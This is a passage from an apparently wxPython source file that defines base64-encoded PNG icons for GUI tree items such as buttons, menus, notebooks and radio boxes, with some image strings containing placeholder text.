\"m9/h0u8/UMSCPOZU0yrNapOx5igDvgJAkMj9hwsMVht467HWOEabI0QJdOa75CEnSiAPOYUU\"\n \"BIkUMZCHJS79dpkDO/djjSufao3j0K6D3JnpcOOPX8qLsSCPBUECs//Mcv7Xbzj82iESl2Aw\"\n \"mG7WVVFFNCIqnDh/ksQnvLt9glpa47tbF7l6/RpfHv2CRqVRzhdTZrVMvENRhtvDDA+tY3Lq\"\n \"ZxRlfM0Y+rJST+v/QtYYvMGwvCHWOF5svsBSyHlr05t46wkSmOvP46zHGVuu2HLHUgVE4ZV1\"\n \"u/j81BE2jW1ksDrIX/P32Lt9zxMQUJqzAhta1RbHPz3G3wuzXLzyPbs3v8rESxP/y+wjHwdM\"\n \"yMvIwOAAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeBitmapButton = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAQCAYAAAAS7Y8mAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDhopgfCXvQAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAAB8klEQVQ4y62U3WpTQRSFv3POHJP0tJLTJMZISaJetDY0WrxReqH48w6CDyHe\"\n \"iY8hPog1ir+INUK1YEvF2Iq1tETSqCUtITHmb7YXbSqScwQhezMMzLAWe69Ze4x7G7NSbVRR\"\n \"hs0gwjAhaAdR1V9VLp68gEYzqHj66RnKEouWbjHQEAMlgNb91dbbdQpbK77YTOIUju34MWPu\"\n \"bf05t5qnLU0iwy7RkQiVxjYL6wt8r3/DtAzmVvOeOEF6xN6XnW6HxOFjpNwUubcPeDL/nEAw\"\n \"wIe1Arl3D+l0O77EAigAEelrRovGNEyKu0UKnz9y89oNYk6Uzd1NljaW0aIpVUskRhIeQuAv\"\n \"BYAyLSr1HbKnp4gMjaJFEx+OkxmbBMANud5YEUxE2Jfl77XnStyhMKXSFpXGDrV2HWUq1r5+\"\n \"odVqEbACvljVq9irH2VamHaQTHKSV+/zxGNHKJXLjMbCzOZzJKNJzh6f/j9X9NIyLK5mL3Pl\"\n \"zCVs22Zm6hz55dfMTJ/nzv273ihhz8dejycihFSIdDh9cJY9muXF+kv0T2F+8Q0TJ8a9sf+S\"\n \"YmJsnEcrj7HVoYOzZrvJj/I2t6/fIupE8JUR2Z886Z+8dCRFOpLqx2T/2NF3ohGUZZnUWrWB\"\n \"fhVd0Sgn4LBYXEJ3uwMhNS2LpJvkN6H3I3eVaYw5AAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nTreeButton = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAASCAYAAABfJS4tAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDDc1tl9FcwAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABTklEQVQ4y7WUP0uCURTGf9f3SqKFlc0uDREtLg01lPQFQugThPRZgj5Bf0ax\"\n \"gmiLoECHGlIjDVISg4SGaKtXwTTfexocXHqr4XoOl7uc58fhuQ9XNToN8cTDZjnKQVffargd\"\n \"F62CVqAqAKFgCO1+uiRnVzEYaxtf1C/Rjjj0TM+qFYhCC2CMwTIZPbhkFGDxBedKeR6f60Rj\"\n \"UVIr64SD4X9iIQAgIj+eXCnP1kaahbl5sudH5Ip5POPR6ra5qRR8dUOwTwPsnR6QPTtmeXGJ\"\n \"3G0eI4Z2t0XhvuivE0Ejgp/FAqRTmzy8VilXKygUfdOnZ76GAz715+PtnuzzzgdriSSxyWm2\"\n \"D3eYmBlHi/5FJ6hMLSOJeMJqJq6ergc5FhHLYWOEORbAiLGMFbTjBGj32lbBnhh0ZCzC3UsZ\"\n \"49n5kwOOQ3wqjmp2m6KUsmuFCN99Z81uYi/9qQAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeCheckBox = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDQQLgpdX3wAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAAA2ElEQVQY043QMYrCUBDG8f97GFZEjYUaESwiSIolHsDGQrvXrkcQDyKeyBSK\"\n \"iBZeQRZNIVjIKmtgQReEZ2IhLIRs4bTzG2a+Ef3xIOKFSgGM1DDRuN1vTPwpZjrPbD1H/jet\"\n \"Q8340+Pr54gO7wBPqEMdg6v9ivM1wK2+0613nlAIgbfxWOyWABwuBzZHn4pp0aq14jcCbE8+\"\n \"AMFvgBSCtt2ObZFRFKEchZUvsT35fF/O2EWbwpsZhwCGNFCOIpfOAtCsuImAf6kNadBzP3Cs\"\n \"BuVMOQHFqw9/AAnUP+Hao6QqAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nTreeChoice = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAQCAYAAAAS7Y8mAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDhc2uVbkBQAAAB10RVh0Q29tbWVudABDcmVhdGVkIH<KEY>IEdJ\"\n \"TVDvZCVuAAABWElEQVQ4y7WUPUoDQRSAv+xOSCCFpIlN3MKIYqFX0D5Y5haCTYhYeAERb6Ao\"\n \"FhaKRAsLrbxAUttFUmgCplgikXX3PYvNj4mQ3UCcxzA8+ObNzMfMJKqNO3V7LiaRZB4tYUE6\"\n \"mca4Xy7bhS0EiZzk+R4pk0LRqdzjyxPGVhtPvFi7aX+2WVpw8OV7OqgJjAIiEquwqKBIDF4x\"\n \"4aAzeYzmFSvE4oX0Cw7yQAP2zw6ovdYnSLAAVDVWRxURGeZH18dUr+7ZPdyj8dEYsTCbCp1Q\"\n \"USmVqZTKfxWpYlAlrmJVHVvh5vmWVrMFwE6xiJN1hqz121lUMOF4c32Di4dL3oJ38tn8GDez\"\n \"itFkWMkVOD85pZBbHlOhSniPh0eMVCFh2V/82uLquKb+Bv7tHocvT+O/vEGPWtjYtkXX68Yq\"\n \"bCxDp9fBF38qF6hgMqkMtWYdCYK5fJuWbeNkHX4AhOgP4SlaxN0AAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeComboBox = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAQCAYAAAAS7Y8mAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAA<KEY>AAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABFUlEQVQ4y7WSwUpCQRiFvzt3AhctrMBFxiXdRSC6k95B27btJaIH8AUC6QWK\"\n \"NhG1cGUm9BhqKxdpBip0IRCdv0VUCl2die4/q2HOfBzOf7xatyb9txeU5xM1/XGP3c0MNuMp\"\n \"SKwl0INwQHmvtFTcaDc4yBaxnXrrHg1qpVAEpmZqDUY8tJUOMMbgQLYDf0olDrA4gQUcHMsP\"\n \"+Pbxjudu7/t+WCqzk0wvgJVLFF8nt5/jsn5F9eKcoT8kndxeeEdsoxBhPonsVoZq5YzrhxtO\"\n \"j074LaU/L68Q5Ckc5yMWG1MrRLDv8fzy/rcVcfRYACMGFxMaVn8wMiOchNbgmRh0aj1F86mJ\"\n \"VtHm268dxu8jK6jyfYKNgA+sz3ZB07qXmQAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeComment = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAAAXNSR0IArs4c6QAAAAZiS0dE\"\n \"AP8A/wD/oL2nkwAAAAlwSFlzAAANEgAADToB6N2Z3gAAAAd0SU1FB9oEBggrF1QqReMAAAAd\"\n \"dEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIFRoZSBHSU1Q72QlbgAAAN9JREFUKM9jvPfj3n8G\"\n \"CgATLom5x+czbLi0kYGBgYFh3vEFcDZRBnz99Y3h8fsnDGpiagw/fv9gePzhMYOamBpWAxiR\"\n \"vXDz5S2GZWdX4HQuPwc/Q5FTPm4DYGDludUMP//8ZIgzi2FYfX4Nw9df3xkSzGOJ98LTD08Z\"\n \"pPmlGRgYGBgev3/KICsgjdNVcBf8/fePoWlHC94Qz7LNYBDnFcPvhXOPzzNsubqNodqtguHy\"\n \"sysMm65sYah2q2BgZmImzgvPPj5jEOcVY2BmYkZhE50Onn58ziDJJ4nBJhgG5AIAiU9gp6jc\"\n \"WfUAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeDefault = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDgoZ7eu1QAAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABtElEQVQoz4WQz2sTQRiGn5lsQhvUNkmLERvRQ38c9FQvVtGb/hXiXf9OBT2p\"\n \"VFBiUgxIye5mm81md2Z3Zmc8RKNUwef2vfA+vHxirMeePwiLkPffP1DVFUWlUEahK8VGa5MX\"\n \"<KEY>\"\n <KEY>\"\n \"<KEY>jXv0uUxyhTIBCMojFxNkOXGmN/z659jfce6yzWWZx3\"\n \"<KEY>\"\n \"mLbh1aOXALyevKGsS5RRWGfxeASCQDYI4ixmoTOmiykX+ZzKVhhrcN6tpwshKG2JdXZ1I5BC\"\n \"<KEY>yGxNlsVa4NdV3TDJprwdHuIaNkhBQSgUAISUM2uNO5TXDQ3+ft6B2/fuGcQ0rJ\"\n \"k6PHa0F3o0v3Rpd/8QPZ/Bl4qenM9gAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeDefaultContainer = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAIAAABL1vtsAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDiYubGd74QAAAfFJREFUOMvdlEtvEzEQx21nN2ojoHk0IoiGtqr6ONBT\"\n \"uVAQ3OBTIO7wneCTwA0kOBVUKlBIadKiKPtqNptdv8ZjDgEURZtKCTf+N3tmfv7bHg19dfS6\"\n \"UW6QRXUWnjnrtfXN+sbCCLSGkX/Wf4Nwcne9zDv6+UkZlSnONReKLxWXnx88m8NFK2jdax6s\"\n \"lW83btxcvVZbKa2ESdgb9eZwIUAKELEYxjyOeRwmUZzGGvUcCK441zzmsZf43sArOsXDnfv9\"\n \"xIuyCC2ixcpyZauyNY3wM/80+gGotYFW/3ulVO4E3Wh0KbV4sHv4dPtJqtNxPVr86n/LQRz3\"\n \"v+w37vppwHVGCW37p0ESCik0/PZvrLHWAgIgoMWci0gt0WKqRqnKmrW1z91jIfmdetNYdJlr\"\n \"iUWL2mgBwhILCDkIAUKASORokA2iNFq9XtMl/fLhC0LIu+57aSTXHBAssZRQhxVyEEESDEXS\"\n \"H/Yv04ECpUH/dUsplSDHJ1NCGWVuoZiDSGXmjbwgCRUobbQxxnXccWivvtuO2owySiilrMAK\"\n \"m5WNHMROY/tD++P4RRCRMfZ479E4VF2qVm9VZzU4fXP+NndeaITihFs78QWTOumdOLPYLnNm\"\n \"lV3VnZTQyaUldtrzn4TJkHN1zZRyE5xO1BHAFx4W59HFL52bPckdnR6/AAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nTreeDialog = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAIAAABL1vtsAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDSwcXBl8sgAAAjtJREFUOMvtks1vEkEYxt8ZhgV2gX4wtKSCQNLU9KAH\"\n \"Y62nJsZ4Uk82/iXGP0fvGtuzGo3Gr0ST2rQ1pmrirtCuLOxWWFhgd2deD2jVirHi1ecwmTfz\"\n \"<KEY>\"\n \"IUJSakpRooRRFmUsypBIPpaZyczwMR5C+GT7KQMCrW6z7XXqe43ykRIAlidKZquWncjanr1Y\"\n \"nHe7ru3ZqqLansPVzJb5uh/6ZwqLpvvJsD8iASpREkIXSgvFyaPT6WkhZavrRoDqDYMirTfr\"\n \"dttpdd2e32s0G6EIASAMw7Xqq92mGYhAomRCCkS0OlYhV6h+rvrCf1F5iYiUULNtDswTIAhI\"\n \"CLFcqx/2gzDY7G4BACEkEAG5vn4jN56DUaXbOitmiuVsaWSEREHhn/Uf8V1sf9fstTy/Q8mh\"\n \"oL7wC+OFgwjP78zy2f3y2fZzwzEunbyYjCV/RXyw9SGvAACJcrDeeXNXr+k7nd2l3tKOs+O4\"\n \"e1zlSGWe5+PROAAgyGGzQJAoJcqH7x9ZnqVosQRLqEpCN41yrnT78cpGZVNhyqBncNlBBAJI\"\n \"lEKKuezc+rsNu2afnz+nRtVaw7p579bisdMnisdbPVdIIaSQiMONCCkQgCf5tQtXtZimRBSB\"\n \"cvns5Z96vpkdglCYsl1/C/AVX+/84UcA8gcRXMtkNX7ILCD8xsiPB38RLcMxemF35GhWnOoX\"\n \"dDYswVEEFVoAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeFrame = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAIAAABL1vtsAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"<KEY>\"\n \"xsfTN9An0JVuNEETceGOCrEKtFoKFHp/xoUJQaOEYOLKk9lMzpkvM4NnjfOT6mlqISWUgNkU\"\n \"SwFEAEAEh9sHifS+uWavMcYyixkruxqTKCzns4tZ5Cy9kIIEZsxMMmkgZ9zg3OCE2l6y1q11\"\n \"e8mWIC8eLjkgdKOgN+i3XzuVjTIAVVbKbvclt5LzBt5uaSuMQm/gmUnTG/i2adXc+5GM94q7\"\n \"bvjseI+EwDRpRLZT3imtbuazeaV1NwoTwOodhxFrB22v53ejcBgPO0FHKgkAUspq8+YpcIUS\"\n \"mjRXWhFRq98qForNt2as4qvGNRExZG7P/TgeAQkIEVthayRHQoq7qAYAiCiUwKPb48JyAeZV\"\n \"3avzklWq5MpzIzQpBr/WP+If8dcIoSUiG9cUBP/JMBgn0rNs8QmBgJMtAX1JjwOTFp8+80Xf\"\n \"BrjjO0MZzf3Lht98B9fgtCT+vOW+AAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nTreeGauge = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAQCAIAAACdjxhxAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"<KEY>\"\n \"oq0oQcnM7wKJxnRji9l5JD9/28O33ft5GlHW6XLaPG1QUV3u8nkaV/1q2V13z0O/3r681hD7\"\n \"j0MGBGjZFUBaslxDGC1DiCgJCRKqKwsKRElEAwBkABEF0QYAWYDuUpTLqhTSv7eAmgjFHQFJ\"\n \"eijF7E41XsTIv/0xS06kJoJmdjs/JNAgNhAEEg3A7LPkiVyGqhtQ0JhdcgVppBmNbZ9KhFzh\"\n \"1yzXsXd6AzH0w9f4vWwdfz4v0+hepSRLv0Gpb9SsRdiOAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nTreeListBox = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABQAAAAWCAYAAADAQbwGAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDQ4JlnbeeQAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABBklEQVQ4y+2Uz0oCcRRGz8RIidofmZ8WMlPR0MZVtqtt82JBDxG9QS9QGNSi\"\n \"qIUWTgQpSgO6KWcwkYZgsJmW7czFXRj0rS+Hj3sPVzvrnScqYyARPwzQVcbAWraQyhxA9BVR\"\n \"a9Vov3YmDh9XT34F6gBxEtPwXIYfI5QyaPabmGmTKImwrS1KiyUqmzsUcmq6hgDFpSIL6Xny\"\n \"uTxO2WFtZZUNYx2nfMBb0AfAbT/SeHEnArX6oJ5I7bA77P40FD3K7AOn1ab6dMF970FOm/3t\"\n \"PS6fr9g1KzLaHJ4eYRfsf21mSZvr1g23nTs5bbKpLN7Ik/k243jM4PMdXUv9cW10PwzEYH4Y\"\n \"8A3oJpVpLSV68QAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeListCtrl = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDgoZ7eu1QAAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABtElEQVQoz4WQz2sTQRiGn5lsQhvUNkmLERvRQ38c9FQvVtGb/hXiXf9OBT2p\"\n \"VFBiUgxIye5mm81md2Z3Zmc8RKNUwef2vfA+vHxirMeePwiLkPffP1DVFUWlUEahK8VGa5MX\"\n \"x8+5jLwcDOMh9wfH7G3fpH/tOjtXemy1t5hlM86X538JgsuBtiXaalK9IFUpqUqZZQlpnmKc\"\n \"+b9A/ZydqpQwiwjnIa2gxcnBA6ZZSFIkOO9w3tHZ7BBERcQ4OcM6g6ktw+lXOu1tvsUTkuUF\"\n \"pdE8PDzh2f5TcpOvy847PkdfCE6nn7jXv0uUxyhTIBCMojFxNkOXGmN/z659jfce6yzWWZx3\"\n \"BKUpcd6RV0vyqmDQ2+Pj5BRdKm7tDqi9oymbeDzOO0xt0FbjWYkCbTXaarJyybyYk+QJO1d7\"\n \"mLbh1aOXALyevKGsS5RRWGfxeASCQDYI4ixmoTOmiykX+ZzKVhhrcN6tpwshKG2JdXZ1I5BC\"\n \"0my0CPKyIFyGxNlsVa4NdV3TDJprwdHuIaNkhBQSgUAISUM2uNO5TXDQ3+ft6B2/fuGcQ0rJ\"\n \"k6PHa0F3o0v3Rpd/8QPZ/Bl4qenM9gAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeMenu = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAWCAIAAABGyIsrAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDSMTSz597AAAAepJREFUOMvNlN1v0lAYxs9pTz+ASvnsAEeGum4kmpi0\"\n \"zLF5oRd6rYlGr+a/qFeaODO50mic2YWRKmI719VBPxhtKaWU4QWEhGQmzCvfm/ecvM+bJ88v\"\n \"JwfunewlI0mwWHX6HZSKpgpMYcEFCCE2OamOqnv6uaLBaFBTaqPxaHJFk/b2R03Rlbvrd1pO\"\n \"u8Dmte5vP/QJjHh4/QEE8ND6tXHZjxExAAA28+Jz/NeTOgBANhVxWYAAJqKsPbBJnGQj8Znh\"\n \"1EFcFizPqhTFn5ZcSq5kohmxKNCIZkjGDdwgHErGNzEvAADggX2weGjN1TBwwfrXhWaneewc\"\n \"n6vwQ3+3+WY2nYZ+p7yXdeX26rbRM7JM1nCNXtAjcOLxjUc4hleLm8+/vHgm7MxhXcvxjXYD\"\n \"YajttDeKFRIns0zGCRwI4Evp1f21e3MO26Ut07OWGO670biWusrFuK1SlcKpOBX3Q58m6Zbb\"\n \"yjP5/xpr3ajLp/LfsL5u7kqmNBf609G+rCu3rlQ63mkiynb7drdvU4h8evMJjeh0NL1/9Lmc\"\n \"Ls+/1qVVxTxEOLJ9p7qyeYlm8mzODdxgFJQz6+FZOFVOKKmOankWx3CSLvFpPhVJmX2TxMkE\"\n \"lRieDT+oH4WCkKBYzdUujBVZnjUejxf/BP4At2vcLl9p4lgAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeMenuBar = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAKCAYAAACwoK7bAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDS8jwVICTAAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABc0lEQVQoz7WSz2sTYRiEn939YrNFk+1nm8CGtoFEm0OUhOKlIFh6En/9iXqT\"\n \"VJAiiNqLbamosYIN8SCua6BNSrCw0Ww23aJ5PRS8SI8752GYYR5js7spJCDj69hLJFgJExIJ\"\n \"nsiErb0dgl8Bl7XGnXWxUzaFvPufOQgDnr9+gaMd1m6sYl+w+db1MQ0TS1mc/j6l7JYAMEUE\"\n \"79Djwa17WKaF3/Pp/ejx9MMGjTdPGMUjRAQRYRD9JK9z3Fm5jWVaPN5t0Nhep3PU4e3+Ox6u\"\n \"PyKMQkQEJQjRScTGzjOCKCCfzTEYDdhrfmRhfp7+cZ+iWwRARHj/uUlsxJQXSmTJUivViOKI\"\n \"dHqKeqXOtD2NIGeNZzIO92/epTDjolQK56JD5fpVcnM5tNb/GpuGgTIVkz+CzmgORod88vdR\"\n \"KsWldAb/+Dvh+Gyh0Q7b8nL7FdHJmOVqncXC4rmHeB2P1pc2AFeKZa4tVc/HrTVsJYPbMB4m\"\n \"gttfwd+fUZxCmekAAAAASUVORK5CYII=\")\n\n#----------------------------------------------------------------------\nTreeMenuItem = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAICAIAAAB/FOjAAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDSMxnl48CAAAAM5JREFUGNONkM0OwVAQhWeqbahGVSwoDRuxsLuXNW/A\"\n \"E9NHsPKTiJZI/ZQrqqkWTS0qVhadzZyTnMmXMzg+jNWcCunm+rjyJamkyVrKA0TkErW77xzf\"\n \"+RsKo9CwjCiOEssna7IyLMcatPvH+0lTqvZtH7wDgRNGnSECbti2VwvyQh4AuB+rVWnNDnMA\"\n \"MC8WrRMELEqKG7piRlRyhR/wS6B1wnzW1emamU21UZbKVCdZPiuLsvf0nu/X4rykVQIAOHWn\"\n \"6Uvbns0zn8VxnP6tH1wDT0VKdioxAAAAAElFTkSuQmCC\")\n\n#----------------------------------------------------------------------\nTreeNotebook = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"<KEY>\"\n \"<KEY>2RvU4CQRSFz+7O/gyYFZKNBYXGYKEGjT6ANjTG1tgb38j4CsbO\"\n \"RGPhC4g/jQ004h+BAg1G0BCFgeHakAXdQZRoYziTae7JfHPvudrWxTYVygWoZBkWluNLsJmt\"\n \"9KOhCFzbVXpsIjKO1ekVpSlJIpU7wZQXD3gE4OrxGrNjM+AmD4K5yeGYjhLcohYc5kDXdaXP\"\n \"TQ4hhRKsAwSizs3cZSCaAkSEFhEGlU4AqH2EFDhIH+KmdAsCtQfuaOdoF3un+7ivPPQHA/C7\"\n \"Pcuew3M8HKdTfi0QT1OCGawvmHV3Neq62ExuIJ3LtBf0sWvbssE5/zyIGkw+AEjEEgCA+ck5\"\n \"P55urSfXvp0xA0E5sh/RgMtj/Z7WGjVU3p6VXrVexdNrGUI2VBn3lqEZWIwtoOfnI+ryZSkL\"\n \"pkH7suNoKPrjGMJWGDr+SEPwEPwfwCxfyUPI+q9Ciy9FvAPrC5AiX0iARwAAAABJRU5ErkJg\"\n \"gg==\")\n\n#----------------------------------------------------------------------\nTreePanel = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAIAAABL1vtsAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAA<KEY>\"\n \"/18mBorBqBGjRowaMaSN+P3vDyMjExzhMYIFlwQrE8v///+IcQWKEYwMjMjc/wz/0VTDFSBL\"\n \"seDXgwawKmB5+O7hjz/fyQ7Lx++eAACyLh8pK2aCxwAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeRadioBox = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDgoZ7eu1QAAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABtElEQVQoz4WQz2sTQRiGn5lsQhvUNkmLERvRQ38c9FQvVtGb/hXiXf9OBT2p\"\n \"VFBiUgxIye5mm81md2Z3Zmc8RKNUwef2vfA+vHxirMeePwiLkPffP1DVFUWlUEahK8VGa5MX\"\n \"x8+5jLwcDOMh9wfH7G3fpH/tOjtXemy1t5hlM86X538JgsuBtiXaalK9IFUpqUqZZQlpnmKc\"\n \"+b9A/ZydqpQwiwjnIa2gxcnBA6ZZSFIkOO9w3tHZ7BBERcQ4OcM6g6ktw+lXOu1tvsUTkuUF\"\n \"pdE8PDzh2f5TcpOvy847PkdfCE6nn7jXv0uUxyhTIBCMojFxNkOXGmN/z659jfce6yzWWZx3\"\n \"BKUpcd6RV0vyqmDQ2+Pj5BRdKm7tDqi9oymbeDzOO0xt0FbjWYkCbTXaarJyybyYk+QJO1d7\"\n \"mLbh1aOXALyevKGsS5RRWGfxeASCQDYI4ixmoTOmiykX+ZzKVhhrcN6tpwshKG2JdXZ1I5BC\"\n \"0my0CPKyIFyGxNlsVa4NdV3TDJprwdHuIaNkhBQSgUAISUM2uNO5TXDQ3+ft6B2/fuGcQ0rJ\"\n \"k6PHa0F3o0v3Rpd/8QPZ/Bl4qenM9gAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeRadioButton = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDDYJgCsItQAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAAB50lEQVQ4y6WTzW8SURTFfw8Gi6mdptAE0cIYbJHUrxAjxUx0Af4NmujGj/+s\"\n \"O43pyo+VLtRJLDERFkJrIgo0Qg1gHBJkaGeeCzOlU5CYeHfv5p2Te+45V1QHVcl/lHK0IZFY\"\n \"toXt2AAIIVB8Cn6h4Be+6QRDZ0h/r0/xW4lq+wudXgeBIDwXIhlZIbOUIeALeAiEK8GyLdr9\"\n \"Ns8+vmD+uMqNs9fR5jUAaj9rvP78BnNgcjt9C/WY6iWQSEzL5ElpgwunzpNP5CbqfVl9RblZ\"\n \"5v7Ve14Jlm1R/l4hfCJEPpFj39nHqBt87dYAOBPS0OM6+USOptmk2CqSjqaRUuIDsB2bSmuL\"\n \"rLYGgFE3WA4vc3Mlz2DPYmv3E0bdACCrrVHcKSEQABystdvrElNjfzR362Pju72YGqP5o4UQ\"\n \"YiTBfRyup+XnU/33TKD4FMJzIRpmAwAtFB8DuL2G2SC6EEUiRwR+oXDp9EXe1TYB0OM6qUiS\"\n \"YGCGYGCGVCSJHtcB2KwVSC9dRkrpzYEtHdbfr7MaXZ1qY6VV4WHmwSiph2/BHJo8+vAYNTgh\"\n \"SNW39H6Z3L1yh9nALI50xgncSQo7BbZ3t2mbHQAW1UVSJ89xLZZFIA7AEwlcVwTC446U0gP8\"\n \"6zW6nyUS/uHQfwM6BdufWiyrrgAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeRoot = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABAAAAALCAYAAAB24g05AAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDgoZ7eu1QAAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABtElEQVQoz4WQz2sTQRiGn5lsQhvUNkmLERvRQ38c9FQvVtGb/hXiXf9OBT2p\"\n \"VFBiUgxIye5mm81md2Z3Zmc8RKNUwef2vfA+vHxirMeePwiLkPffP1DVFUWlUEahK8VGa5MX\"\n \"x8+5jLwcDOMh9wfH7G3fpH/tOjtXemy1t5hlM86X538JgsuBtiXaalK9IFUpqUqZZQlpnmKc\"\n \"+b9A/ZydqpQwiwjnIa2gxcnBA6ZZSFIkOO9w3tHZ7BBERcQ4OcM6g6ktw+lXOu1tvsUTkuUF\"\n \"pdE8PDzh2f5TcpOvy847PkdfCE6nn7jXv0uUxyhTIBCMojFxNkOXGmN/z659jfce6yzWWZx3\"\n \"BKUpcd6RV0vyqmDQ2+Pj5BRdKm7tDqi9oymbeDzOO0xt0FbjWYkCbTXaarJyybyYk+QJO1d7\"\n \"mLbh1aOXALyevKGsS5RRWGfxeASCQDYI4ixmoTOmiykX+ZzKVhhrcN6tpwshKG2JdXZ1I5BC\"\n \"0my0CPKyIFyGxNlsVa4NdV3TDJprwdHuIaNkhBQSgUAISUM2uNO5TXDQ3+ft6B2/fuGcQ0rJ\"\n \"k6PHa0F3o0v3Rpd/8QPZ/Bl4qenM9gAAAABJRU5ErkJggg==\")\n\n#----------------------------------------------------------------------\nTreeScrollBar = PyEmbeddedImage(\n \"iVBORw0KGgoAAAANSUhEUgAAABYAAAAICAYAAAD9aA/QAAAACXBIWXMAAA0SAAANOgHo3Zne\"\n \"AAAAB3RJTUUH1wsXDQEAaDJ6EgAAAB10RVh0Q29tbWVudABDcmVhdGVkIHdpdGggVGhlIEdJ\"\n \"TVDvZCVuAAABeUlEQVQoz22SwWpTQRSGv7l3TIlgIriI1Aoqgi4K6tqK+ASCvoHgi/hQca3o\"\n 